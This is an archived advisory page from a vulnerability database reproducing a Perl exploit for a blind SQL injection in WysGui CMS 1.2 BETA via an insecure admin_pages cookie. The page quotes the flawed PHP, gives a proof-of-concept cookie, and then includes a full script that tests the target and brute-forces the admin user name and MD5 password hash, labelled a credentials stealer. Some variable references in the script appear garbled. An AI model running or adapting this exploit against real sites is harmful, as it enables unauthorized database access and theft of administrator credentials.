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securityvulnsSecurityvulnsSECURITYVULNS:DOC:21705
HistoryApr 20, 2009 - 12:00 a.m.

WysGui CMS 1.2 BETA(Insecure Cookie Handling)--Blind-sql-injection-exploit-->

2009-04-2000:00:00
vulners.com
17

#!/usr/bin/perl

#---------------------------------------------------------

WysGui CMS 1.2 BETA(cookie) BSQL

#---------------------------------------------------------

CMS INFORMATION:

#–>WEB: http://wysgui.com/
#–>DOWNLOAD: http://sourceforge.net/projects/wysgui/
#–>DEMO: http://wysgui.com/demo/
#–>CATEGORY: CMS / Portals
#–>DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG,

(pronounced, Wizzy-Wig),tands for What You See Is What You Get…

CMS VULNERABILITY:

#–>TESTED ON: firefox 3
#–>DORK: N/A
#–>CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT
#–>AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?)
#–>Discovered Bug date: 2009-04-20
#–>Reported Bug date: 2009-04-20
#–>Fixed bug date: Not fixed
#–>Info patch (???): Not fixed
#–>Author: YEnH4ckEr
#–>mail: y3nh4ck3r[at]gmail[dot]com
#–>WEB/BLOG: N/A
#–>COMMENT: A mi novia Marijose…hermano,cunailla, padres (y amigos xD) por su apoyo.
#----------------------------------------------------------------------------------------

#-----------
#BUG FILE:
#-----------

#Path –> [HOME_PATH]/modules/body_mods/admin_panel/settings.php

#It contents(ї?..LooooL)

#<?php
#//loading data for site tree.
#if(strlen($_COOKIE['admin_pages']))
#{

$admin_pages = explode(',',$_COOKIE['admin_pages']);<--------VULN--------|

#}
#else
#{

$admin_pages = array(

'addPage',

'Edit Page',

'Delete Page',

…);

#}
#?>

#Then…

#Path –> [HOME_PATH]/modules/body_mods/admin_panel/settings.php

#It contents:

if( $i>1 ){

$order.= ' `page` = "'.$admin_pages[$i].'",';

}

$allPages_select = 'SELECT * FROM `pagedata`

WHERE '.$where.'<--------VULN--------|

ORDER BY '.$order;

$allPages_query = mysql_query($allPages_select) or die($allPages_select);

while($allPages_row = mysql_fetch_array($allPages_query))

{…}

#------------
#CONDITIONS:
#------------

#**gpc_magic_quotes=off

#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------

#COOKIE –> admin_pages=about" AND 1=1 /*

#Return: about.php

#*******************************************************************

ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!

#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************

GREETZ TO: JosS and all SPANISH Hack3Rs community!

#*******************************************************************

#-------------------EOF---------------------------------->>>ENJOY IT!

use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $request = HTTP::Request -> new(GET => $[1]);
$request->header(cookie => $
[0]);
my $outcode= $userag->request($request)->as_string;
return $outcode;
}
sub helper {
print "\n\t[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit\n";
print "\t[XxX] USAGE MODE: [XxX]\n";
print "\t[XxX] perl $0 [HOST] [PATH] [id]\n";
print "\t[XxX] [HOST]: Web.\n";
print "\t[XxX] [PATH]: Home Path.\n";
print "\t[XxX] [id]: Id user. Default: 1 (**optional)\n";
print "\t[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'\n";
}
sub lengthuser{
#First, user length…
$exit=0;
$i=0;
while($exit==0){
my $insec_cookie='admin_pages=about" AND (SELECT length(user) from users WHERE ID='.$[1].')='.$i++.' /*';
$output=&request($insec_cookie,$
[0]);
if ( $output =~ (/about.ico/))
{
$exit=1;
}
}

#Save column length
$lengthuser=$i-1;
print "\t-----------------------------------------------------------------\n";
print "\tUser Length catched!\n";
print "\tUser Length: ".$lengthuser."\n";
print "\tBruteforcing values…\n";
print "\t-----------------------------------------------------------------\n";
return $lengthuser;
}
sub bruteforcing {
#Getting datas
$j=1;
$i=48;
while(($j<=$[2]) && ($i<=126)){
my $insec_cookie='admin_pages=about" AND ascii(substring((SELECT '.$
[3].' FROM users WHERE ID='.$[1].')
FROM '.$j.' FOR 1))='.$i.' /*';
$output=&request($insec_cookie,$
[0]);
if ( $output =~ (/about.ico/))
{
$values=$values.chr($i);
$j++;
$i=47;
}
if($i==57)
{
$i=96;
}
#new char
$i++;
}
#Error
if(($i>127) || ($j>$_[2])){
if(!$values){
print "\t-----------------------------------------------------------------\n";
print "\tEXPLOIT FAILED!\n";
print "\tFatal error: Datas doesn't find!\n";
print "\tCause: Maybe you have to include more characters on bruteforcing…\n";
print "\t-----------------------------------------------------------------\n";
exit(1);
}
}

return $values;
}
#Main
&lw;
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
print "\t\t## WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit ##\n\n";
print "\t\t## ++Conditions: Need magic_quotes=off ##\n\n";
print "\t\t## Author: Y3nh4ck3r ##\n\n";
print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t\t## Proud to be Spanish! ##\n\n";
print "\t\t#########################################################\n\n";
print "\t\t#########################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/admin.php";
#Check all variables needed
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
&helper;
exit(1);
}
#Id-user is optional.Default:1
if(!$ARGV[2]){
$idhacked="1";
}else{
$idhacked=$ARGV[2];
}
#Testing blind sql injection
my $finalrequest = $finalhost;
#Test blind sql injection
my $insec_cookie='admin_pages=about" AND 1=1 /'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{
print "\t-----------------------------------------------------------------\n";
print "\tWeb is vulnerable!\n";
print "\tTested Blind SQL Injection.\n";
print "\tChecking id user…\n";
print "\t-----------------------------------------------------------------\n";
}else{
print "\t-----------------------------------------------------------------\n";
print "\tThis Web is not vulnerable!\n";
print "\tMaybe patched or gpc_magic_quotes=off\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
exit(1);
}
#Test if user exists
my $insec_cookie='admin_pages=about" AND (SELECT COUNT(
) from users WHERE ID='.$idhacked.') /'; #injected cookie
$output=&request($insec_cookie,$finalrequest);
if ( $output =~ (/about.ico/))
{
print "\t-----------------------------------------------------------------\n";
print "\tOK…The user exists!\n";
print "\tStarting exploit…\n";
print "\t-----------------------------------------------------------------\n";
print "\tWait several minutes…\n";
print "\t-----------------------------------------------------------------\n";
}else{
print "\t-----------------------------------------------------------------\n";
print "\tUser doesn't exists!\n";
print "\tEXPLOIT FAILED!\n";
print "\t-----------------------------------------------------------------\n";
exit(1); }
#Bruteforcing user…
$length_user=&lengthuser($finalrequest,$idhacked);
$user=&bruteforcing($finalrequest,$idhacked,$length_user,'user');
print "\t-----------------------------------------------------------------\n";
print "\tGot user!\n";
print "\tBruteforcing password hash (md5)…\n";
print "\t-----------------------------------------------------------------\n";
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pass'); #it isn't needed length
print "\n\t\t
************************************************\n";
print "\t\t**** EXPLOIT EXECUTED (CREDENTIALS STEALER)\n";
print "\t\t
*********************************************\n\n";
print "\t\tUser-id:".$idhacked."\n";
print "\t\tUser:".$user."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok…all job done